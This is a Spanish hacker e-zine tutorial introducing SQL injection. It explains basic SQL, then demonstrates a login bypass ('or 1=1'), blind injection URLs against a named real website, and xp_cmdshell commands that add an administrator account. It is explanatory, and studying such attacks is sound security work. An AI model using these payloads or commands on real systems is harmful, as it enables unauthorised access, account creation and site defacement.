TOP
AutoresTOTAL
LecturasSET 34
78509 visitas
- Contenidos - SET Staff
- Editorial - Editor
- Inyeccion SQL sobre soft anticuados - Anonimo
- Bazar de SET - Varios Autores
- RSA (bazar) - Anonimo
- Escalado de permisos en Symbian (bazar) - FCA00000
- Diario (bazar) - HackMan
- Utilidad para formateo en ASCII (bazar) - elotro
- Curso de electronica 04 - elotro
- I-O Ileso - blackngel
- LiveCD - blackngel
- La importancia de una buena pass - thenemi
- Inyeccion en SQL - thenemi
- Proyectos, peticiones, avisos - SET Staff
- Diez anyos despues - SET Staff
- Curiosidades sobre eMule - FCA00000
- Unete al Software Libre (FreeCol) - FCA00000
- Overflows en Linux x86_64 - Raise
- Llaves PGP - SET Staff
Inyeccion en SQL
Autor: thenemi
-[ 0x08 ]-------------------------------------------------------------------- -[ Inyeccion SQL (Introduccion) ]-------------------------------------------- -[ by thenemi ]------------------------------------------------------SET-34-- INTRODUCCION A LA INYECCION SQL thenemi consultas, dudas, criticas... <thenemi@gmail.com> ///////////////////////////////////////////////////////////////////////////// Muy buenas. Con este texto pretendo que se comprenda un poco que es un ataque de inyeccion SQL, como saber (de primeras) si un sitio puede ser vulnerable, y los metodos mas comunes de ataque. Como bien dice el titulo, es una introduccion, asi que si ya sabes de que va la cosa, te lo puedes saltar. Para ir despertando el gusanillo: Se trata de un tipo de ataque muy basico, que, sin embargo, os puede dar grandes resultados. Muchos defaces a paginas web son posibles gracias a este tipo de ataques, o mas bien, a que a los programadores se la trae floja la seguridad de su sitio. Valgan como ejemplo un par de noticias recientes: ----------------------------------------------------------------- [*] [27/06/2007, zone-h.org] http://www.zone-h.org/content/view/14780/31/ microsoft.co.uk hackeada mediante este metodo. Videos del ataque disponibles en la web. [*] 26/06/2007, periodico "Cinco Dias"] http://tinyurl.com/33a33k Web de Pedro de la Rosa (www.pedrodelarosa.com )hackeada. Se veia venir. ------------------------------------------------------------------- Cada uno tiene su estilo, y a mi me gusta ir poniendo ejemplos reales. Puesto que cuento con el permiso del webmaster, utilizare ejemplos reales. Va a ser la web de [pedrodelarosa.com] la que tomare de ejemplo para ver como se llego a producir el deface, gracias a este tipo de ataques. Ojo, yo no tengo nada que ver con el ataque, y probablemente, si esto sale publicado, es, porque como ya he dicho, cuento con el permiso del webmaster para divulgarlo (aunque como vereis no tiene mucho misterio). Espero que asi os hagais a la idea de lo relativamente sencillo que puede ser realizar un deface observando un ejemplo real. Que puedas realizar un deface a un sitio importante/conocido no significa que seas un gran hacker/programador/comotequierasllamar. Vamos alla. ///////////////////////////////////////////////////////////////////////////// ESQUEMA 1. Breve Introduccion a SQL 2. Inyeccion (ejemplo real) 3. Blind SQL-injection. Posibilidades 4. Referencias // fin del esquema --> 1. Brebe introduccion a SQL =========================================== Pero que es SQL? SQL es un lenguaje que opera sobre bases de datos, es decir, nos va a permitir modificar los datos, o bien su estructura. Para seguir este texto, necesitas conocer un par de comandos: + CREATE : para crear bases de datos + DROP : para borrarlas + SELECT : realizar consultas en la base de datos + FROM : especificar la tabla sobre la que se va a operar + WHERE : especificar condiciones + AND; OR : corresponden a la funcion logica. + * : comodin :P + -- : se utiliza para realizar comentarios. Asi, por ejemplo: $: SELECT password FROM users WHERE name=pepito Devuelve la contraseC1a del usuario que se llama pepito que esta almacenado en la tabla users. Como veis,la estructura que vamos a emplear es sencilla, y podreis entender los ejemplos sin problemas. Y en que se utiliza? Pues en muchas cosas, desde en bases de datos de empresas, hasta en paginas web. Por ejemplo, los nombres de los usuarios registrados y sus contraseC1as, se almacenan en una base de datos. No seria interesante poder realizar consultas como la de arriba sin necesidad de ser administrador? O poder acceder a una pagina en la que teoricamente necesitemos un nombre de usuario y una contraseC1a sin ni siquiera saber un nombre de usuario valido?. Pues vamos a intentarlo... 2. Inyeccion =========================================== Supongamos un formulario de validacion, en cuyo codigo encontramos lo siguiente: ----------------------------------------------------------------- SELECT * FROM basededatos WHERE nombre = '" + tunombre + "' AND password='" + tupassword + "';" ----------------------------------------------------------------- Si nosotros introducimos como nombre de usuario set y como password 1234, se genera la siguiente consulta: SELECT * FROM basededatos WHERE nombre = 'set' AND password='1234'; Nuestro formulario ha leido la variable "tunombre" (set) y la variable "password" (1234), y realiza la consulta. Si en la base de datos llamada "basededatos" existe un registro que tiene de nombre de usuario set y de contrasenya 1234, el formulario nos permitira acceder como set, bien sea al foro, a nuestra cuenta de correo, o a cualquier otro sitio. Sin embargo, alguien puede introducir perfectamente como contraseC1a la cadena de texto "1234 ' or 1=1" con lo que la consulta generada seria la siguiente: SELECT * FROM basededatos WHERE nombre = 'set' AND password='1234' OR 1=1; Con esta consulta, independientemente de si el password del usuario set es 1234 o de si no lo es, el atacante tendria acceso a nuestra pagina como usuario set, puesto que el resultado de la consulta va a ser positivo, si la contraseC1a es 1234 o si 1=1. Y como de momento, uno es siempre igual a uno, el atacante esta dentro. Evidentemente da lo mismo lo que pongamos delante del ' , puesto lo que nos interesa es aC1adir al final el OR 1=1. De este modo las consultas SELECT * FROM basededatos WHERE nombre = 'set' AND password='' OR 1=1; SELECT * FROM basededatos WHERE nombre = 'set' AND password='loquesea' OR 1=1; dan el mismo resultado. Peor seria si hubiese puesto como nombre de usuario admin, ya que habria logrado acceso de administrador. Y todavia hay mas: Si introduce la famosa cadena "loquesea ' or 1=1" tanto en usuario como en password: SELECT * FROM basededatos WHERE nombre = 'loquesea' OR 1=1 AND password='1234' OR 1=1; Consiguiendo asi acceso sin necesidad ni siquiera de saber un nombre de usuario. En vez de eso, podriamos tratar de inyectar un codigo que aC1adiese un nuevo usuario en la base de datos, darle permisos de administrador, o llegar a ejecutar comandos en la maquina comprometida. El potencial de este tipo de ataques es muy grande, y estamos rascando solo la superficie. La solucion a este tipo de ataques, basicamente reside en filtrar lo que el usuario introduce, evitando caracteres como ' y ". Aunque creas que un ataque tan sencillo, no se puede realizar a dia de hoy, la cruda realidad es que parece que muy pocos programadores se interesan por la seguridad, y ataques como este se puedan ver todavia. Empezemos con nuestro caso real, el piloto de formula 1 :P Vayamos, por ejemplo, al foro, y veamos la url que contiene el crear un nuevo tema: http://www.pedrodelarosa.com/castella/foro/post.asp? forum_id=1&method=Topic&forum_title= (evidentemente, va todo junto) Nos aparece una pagina que nos recuerda bastante al foro de set (por ejemplo), con sus correspondientes cuadros de nombre de usuario, contraseC1a,y mensaje. Probamos suerte con lo que acabamos de aprender: Como nombre de usuario, ponemos "Webmaster", y como password "loquesea ' or 1=1" Le damos a enviar, y se nos informa de que nuestro mensaje ha sido publicado con exito. Con un truco tan simple, podemos llegar a enviar y publicar mensajes como si fuesemos el Webmaster. Del mismo modo, vamos a ser capaces de editar y de borrar mensajes. No parece que se hayan preocupado demasiado por la seguridad de su web... Mi teoria queda confirmada, al fijarme de nuevo en la url, y mas concretamente, en la parte de "forum_id=1". Pruebo a cambiar el 1 por el 31337, y cualquier usuario, sin necesidad de ser administrador o moderador del foro, puede publicar mensajes en cualquier subforo. (el 1 corresponde al castellano, el 2 al ingles,... y el 31337 al nuestro :P) http://www.pedrodelarosa.com/castella/foro/forum.asp?forum_id=31337 Asi pues, cualquiera, mediante este ataque tan sencillo, se puede hacer con el control del foro. Merece la pena estudiarlo no? :P 3. Blind SQL-injection =========================================== Vale, muy bien, somos los reyes del foro. Pero lo que tu quieres de verdad es poder cambiar la web, poner "yo estuve aqui", y que vayan a tu casa a detenerte, y con razon. Pues nada, volvamos a la pagina principal. Hay algo que parece interesante. (lease set 31, 0x06 : buscando informacion) http://www.pedrodelarosa.com/castella/archivo.asp?mes=1&any=2007 La pagina nos muestra sus exitos de enero del 2007. Sera vulnerable? Hasta ahora hemos visto como acceder a un sitio que nos pidiese nombre de usuario y contraseC1a, pero que ocurre si lo que queremos es ejecutar consultas? Vamos a tener que buscar paginas de esta forma: http://[ur]/loquesea?variable=numerito Para ver si es vulnerable, podemos probar con nuestro 'OR 1=1, o podemos poner el ' directamente: ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=' ----------------------------------------------------------------- Y obtenemos el siguiente mensaje de error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres ' ORDER BY diaI DESC,id DESC'. /castella/archivo.asp, line 77 No solo es vulnerable, sino que ademas obtenemos el nombre de algunas columnas. Nuestro objetivo va a ser conseguir ejecutar la consulta SELECT password FROM basededatos WHERE username='admin' Lo que nos devolvera el hash md5 de la contraseC1a del administrador. Pero podriamos plantearnos otros objetivos, como aC1adir a la base de datos un usario con permisos de administrador, o hasta podriamos llegar a ejecutar netcat en la maquina remota, y conseguir nuestra shell, comprometiendo la maquina completamente. El problema es que ahora no vamos a "ver" el resultado, sino que vamos a realizar un tipo de inyeccion conocido como blind-SQL injection. Para entender lo que es, vayamos directamente con el ejemplo: Empezamos probando con ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND 1=1 ----------------------------------------------------------------- Nos devuelve elmismo resultado que si hubiesemos puesto mes=1 . (ejecutamos mes=1 AND TRUE) Sin embargo: ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND 1=2 ----------------------------------------------------------------- (ejecutamos mes=1 AND FALSE) Por tanto, nos devuelve una pagina de error, que dice que no hay registros. La idea es la siguiente. Vamos a ir ejecutando consultas de la forma http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND NUESTRACONSULTA Nuestras consultas van a ser del tipo Booleano (verdadero o falso) Si nos dice que no hay registros, sabemos que el resultado de nuestra consulta es falso, pero si nos devuelve la pagina de los exitos del mes, el resultado de nuestra consulta es verdadero. De este modo, por ejemplo, para encontrar el nombre de usuario, podemos preguntar si el valor ascii del primer caracter es mayor que 113. Si nos carga la misma pagina, sabemos que si. Despues volveriamos a realizar la consulta, pero esta vez queremos saber si es mayor que 114. Si nos devuelve error, sabemos que el valor decimal del primer caracter es exactamente 114, que corresponde a la letra r. Lo mismo se haria para el segundo caracter, y para el tercero... Cuando no haya mas caracteres, al preguntar si el n-esimo caracter es mayor que 100,o si es menor, las dos nos darian por resultado 'falso'. En el ejemplo: ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE type='U'),1,1)))>110 ----------------------------------------------------------------- La consulta se ha complicado un poco... Lo que hacemos es convertir las mayusculas a minusculas para ahorrarnos tiempo (valores decimales entre 97 y 122), y luego comprueba si el caracter 1 es mayor que 100 ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE type='U'),2,1))) = 110 ----------------------------------------------------------------- Lo mismo, pero comprueba si es igual a 110 ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes=1 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE type='U'),3,1)))>110 ----------------------------------------------------------------- Esta vez comprueba si el tercer caracter es mayor que 110. Se entiende la idea no? Y asi podriamos conseguir informacion de la version, nombres de usuario, nombre de la base de datos... y podriamos ejecutar nuesttro SELECT password FROM basededatos WHERE username='admin' Seamos sinceros, esto es un coC1azo. Pero, afortunadamente, la gente de reversing.org se ha currado un programa llamado sqlbftools, que nos ahorrara bastante tiempo. Lo podeis descargar de http://www.reversing.org/node/view/11 , viene tanto el ejecutable para win32 como el codigo fuente. Merece la pena que la echeis un ojo, leyendo el manual no deberiais tener ningun tipo de problemas. Yo ya le tengo en mis imprescindibles. Imaginaros por un momento que la base de datos, aparte de ser de microsoft OLE, hubiese sido la llamada db0. Esto dignificaria que esta hecha la instalacion por defecto, con lo que el usuario tendria los permisos de SYSTEM- Antes que nada, lo comprobariamos: ----------------------------------------------------------------- http://www.pedrodelarosa.com/castella/archivo.asp?mes= convert(int,(select+user));-- ----------------------------------------------------------------- Afortunadamente, no es el caso, pero supongamos que lo hubiese sido. Podriamos ejecutar comandos de una manera remota. ----------------------------------------------------------------- http://[url]/blabla?id=1;exec master..xp_cmdshell%20'net user set 1234 /add';-- ----------------------------------------------------------------- Con esto aC1adiriamos el usuario set con password 1234 ----------------------------------------------------------------- http://[url]/blabla?id=1;exec master..xp_cmdshell%20'net localgroup administrators set /add';-- ----------------------------------------------------------------- Y asi le dariamos permisos de administrador. 4. Referencias =========================================== Todavia quedan muchas cosas por ver, como el UNION SELECT, que nos permitira estructurar una base de datos, el ORDER BY, y ver las diferencias entre una version y otra, entre un sistema operativo y otro, como evitar estos ataques... Teneis lectura para rato, y ya has visto lo que se puede conseguir con muy poco. Os dejo un par de sitios: -www.hackthissite.org Wargame. Varios de los realistic challenge se resuelven mediante sql injection. Tienen montadas un par de webs para que te entrenes legamente. -http://www.reversing.org/node/view/13 Blid sql-injection methods. Ingles. -http://www.unixwiz.net/techtips/sql-injection.html Introduccion. Ingles -http://www.securiteam.com/securityreviews/5DP0N1P76E.html Buen texto, tambien en ingles, contiene referencias muy interesantes. Si te interesa el tema, visita obligada. *EOF*